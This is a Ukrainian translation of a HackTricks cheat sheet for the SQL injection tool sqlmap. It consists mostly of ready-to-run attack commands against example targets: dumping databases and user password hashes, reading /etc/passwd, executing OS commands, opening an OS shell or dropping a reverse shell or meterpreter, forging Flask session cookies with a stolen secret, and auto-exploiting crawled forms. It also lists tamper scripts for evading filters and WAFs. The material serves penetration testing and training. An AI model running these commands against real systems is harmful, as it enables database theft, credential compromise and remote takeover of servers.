SQLMap - Cheetsheat

Підтримайте HackTricks

Миттєво доступна установка для оцінки вразливостей та тестування на проникнення. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.

Основні аргументи для SQLmap

Загальні

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Отримати інформацію

Внутрішній

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Дані БД

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Захопіть запит і створіть файл req.txt

sqlmap -r req.txt --current-user

Впровадження GET запиту

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Ін'єкція POST запиту

sqlmap -u "http://example.com" --data "username=*&password=*"

Ін'єкції в заголовках та інших HTTP методах

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Вкажіть рядок, коли ін'єкція успішна

--string="string_showed_when_TRUE"

Eval

Sqlmap дозволяє використовувати -e або --eval, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі flask cookie session підписується flask з відомим секретом перед його відправкою:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Шелл

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Прочитати файл

--file-read=/etc/passwd

Обход веб-сайту з SQLmap та автоматичне використання експлойтів

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Ін'єкція другого порядку

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Прочитайте цей пост про те, як виконувати прості та складні вторинні ін'єкції за допомогою sqlmap.

Налаштування ін'єкції

Встановити суфікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Префікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Допомога у знаходженні булевої ін'єкції

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Пам'ятайте, що ви можете створити свій власний tamper на python і це дуже просто. Ви можете знайти приклад tamper на сторінці Другого Порядку Впровадження тут.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

Замінює символ апострофа на його повноширокий UTF-8 аналог

apostrophenullencode.py

Замінює символ апострофа на його незаконний подвійний юнікодний аналог

appendnullbyte.py

Додає закодований символ NULL байта в кінець корисного навантаження

base64encode.py

Кодує всі символи в заданому корисному навантаженні в Base64

between.py

Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #'

bluecoat.py

Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE

chardoubleencode.py

Подвійно URL-кодує всі символи в заданому корисному навантаженні (не обробляючи вже закодовані)

commalesslimit.py

Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M'

commalessmid.py

Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)'

concat2concatws.py

Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

URL-кодує всі символи в заданому корисному навантаженні (не обробляючи вже закодовані)

charunicodeencode.py

Юнікод-URL-кодує не закодовані символи в заданому корисному навантаженні (не обробляючи вже закодовані). "%u0022"

charunicodeescape.py

Юнікод-URL-кодує не закодовані символи в заданому корисному навантаженні (не обробляючи вже закодовані). "\u0022"

equaltolike.py

Замінює всі випадки оператора рівності ('=') на оператор 'LIKE'

escapequotes.py

Екранує лапки (' і ")

greatest.py

Замінює оператор більше ніж ('>') на його аналог 'GREATEST'

halfversionedmorekeywords.py

Додає версійний коментар MySQL перед кожним ключовим словом

ifnull2ifisnull.py

Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Огортає повний запит версійним коментарем

modsecurityzeroversioned.py

Огортає повний запит коментарем з нульовою версією

multiplespaces.py

Додає кілька пробілів навколо SQL ключових слів

nonrecursivereplacement.py

Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри

percentage.py

Додає знак відсотка ('%') перед кожним символом

overlongutf8.py

Перетворює всі символи в заданому корисному навантаженні (не обробляючи вже закодовані)

randomcase.py

Замінює кожен символ ключового слова на випадкове значення регістру

randomcomments.py

Додає випадкові коментарі до SQL ключових слів

securesphere.py

Додає спеціально підготовлений рядок

sp_password.py

Додає 'sp_password' в кінець корисного навантаження для автоматичного затемнення з журналів DBMS

space2comment.py

Замінює символ пробілу (' ') на коментарі

space2dash.py

Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує випадковий рядок і новий рядок ('\n')

space2hash.py

Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n')

space2morehash.py

Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n')

space2mssqlblank.py

Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів

space2mssqlhash.py

Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує новий рядок ('\n')

space2mysqlblank.py

Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів

space2mysqldash.py

Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує новий рядок ('\n')

space2plus.py

Замінює символ пробілу (' ') на плюс ('+')

space2randomblank.py

Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів

symboliclogical.py

Замінює логічні оператори AND і OR на їх символічні аналоги (&& і

unionalltounion.py

Замінює UNION ALL SELECT на UNION SELECT

unmagicquotes.py

Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало)

uppercase.py

Замінює кожен символ ключового слова на верхній регістр 'INSERT'

varnish.py

Додає HTTP заголовок 'X-originating-IP'

versionedkeywords.py

Огортає кожне не функціональне ключове слово версійним коментарем

versionedmorekeywords.py

Огортає кожне ключове слово версійним коментарем

xforwardedfor.py

Додає фальшивий HTTP заголовок 'X-Forwarded-For'

Миттєво доступна установка для оцінки вразливостей та пентестингу. Виконуйте повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу до систем і отримання задоволення.

Підтримати HackTricks

Last updated